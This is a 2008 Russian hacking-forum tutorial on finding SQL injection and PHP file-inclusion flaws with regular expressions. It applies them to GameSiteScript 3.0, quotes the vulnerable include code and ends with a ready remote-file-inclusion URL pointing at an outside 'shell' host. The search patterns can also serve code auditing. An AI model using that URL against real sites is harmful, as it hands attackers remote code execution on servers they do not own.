ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Использование регулярных выражений при поиске уязвимостей php
  #1  
Старый 09.02.2008, 22:51
Аватар для Macro
Macro
Постоянный
Регистрация: 11.11.2006
Сообщений: 595
Провел на форуме:
1845062

Репутация: 1079


По умолчанию Использование регулярных выражений при поиске уязвимостей php


Поиск уязвимостей с помощью регулярных выражений.

Поиском уязвимостей в php скриптах заниматься часто не столько сложно, сколько долго и нудно.
Хочу предложить вам более удобный и практичный, а главное, гораздо более быстрый способ поиска уязвимостей в скриптах,
нежели тупой пофайловый просмотр кода через текстовые редакторы и трение глаз о монитор или тыкание кавычек во все подряд переменные в браузере.
Я говорю о поиске наиболее известных уязвимостей с помощью регулярных выражений.
Конечно, 100% результата в качестве уязвимостей вы не получите, но существенно облегчите себе работу.
Итак, начнем.

1. Чем искать

Поискав в интернете, я наткнулся на замечательную программу от SilverAge Software, а именно TextWorkBench


Она является платной, однако, что меня приятно удивило, позволяет работать, хоть и с ограничением функциональности,
но выполняя некоторые нам необходимые вещи даже после окончания 15-дневного демо-периода.

Скачать: http://silveragesoftware.com/ftp/HFF...benchSetup.exe На момент написания сайт производителя в дауне, надеюсь, что это не навечно...

Залил textworkbench на хост, т.к. сайт производителя висит
Скачать Text Workbench

2. Как искать

Методом проб и ошибок были составлены следующие регулярные выражения (синтаксис которых подходит именно для этой программы) :

SQL injection

Вероятно, что бага есть (если в запросе встречается переменная GPC, редко когда встречается, к сожалению) :

Код:
{where}|{order by}|{sort by}|{group by}[`\s]*[^\$]*{['"]\.}?\{?\s*\$_{GET}|{POST}|{COOKIE}|{REQUEST}[^\s;]*
Маловероятно, что бага есть (это просто поиск запросов, в которых встречаются переменные, почти везде выдает тучу результатов, но баги попадаются гораздо реже)

Код:
{where}|{order by}|{sort by}|{group by}[`\s]*[^\$]*{['"]\.}?\{?\s*\$[^\s;]*

PHP include

Тут все гораздо проще

Вероятно, что бага есть (GPC переменная входит в инклуд) :

Код:
{include}|{require}|{include_once}|{require_once}\s*\(?[^\$;]*\$_{GET}|{POST}|{COOKIE}|{REQUEST}[^;]+;
Менее вероятно, что бага есть (когда в инклуд входит переменная) :

Код:
{include}|{require}|{include_once}|{require_once}\s*\(?[^\$;]*\$[^;]+;
3. Пример

В качестве скрипта для примера возьму GameSiteScript 3.0

Скачать и посмотреть описание можно тут

Вводим поиск на маловероятный php include

Код:
{include}|{require}|{include_once}|{require_once}\s*\(?[^\$;]*\$[^;]+;
И смотрим результаты...

Вот один из них



Смотрим код файла
\plugins\site\themes\21\smallbox.php

PHP код:
<?php

$menunames 
explode("|"$themecfg['boxcontentorder']);

echo 
"<tr>";
$i 0;
foreach (
$menunames as $menuname) {
    if (
$i%2==&& $i!=0) {
        echo 
"</tr><tr>";
    }

    include 
$menuname."box.php";

    
$i++;

}
echo 
"</tr>";

?>

Это значит, что при register_globals on мы можем задать через GET или POST переменную $themecfg['boxcontentorder'], которая потом будет использоваться при инклуде.


Итог: найдена новая RFI уязвимость

Код:
http://site/gamesitescript/plugins/site/themes/21/smallbox.php?themecfg[boxcontentorder]=http://shell?

PS к сожалению форум все еще добавляет пробелы в код, поэтому не забывайте их удалять перед использованием.

Последний раз редактировалось Macro; 10.02.2008 в 00:52..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Перехват Gsm пакетов SNIFF Сотовый фрикинг 16 27.12.2009 22:25
Что такое Php? PAPA212 Болталка 13 28.12.2007 20:44
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ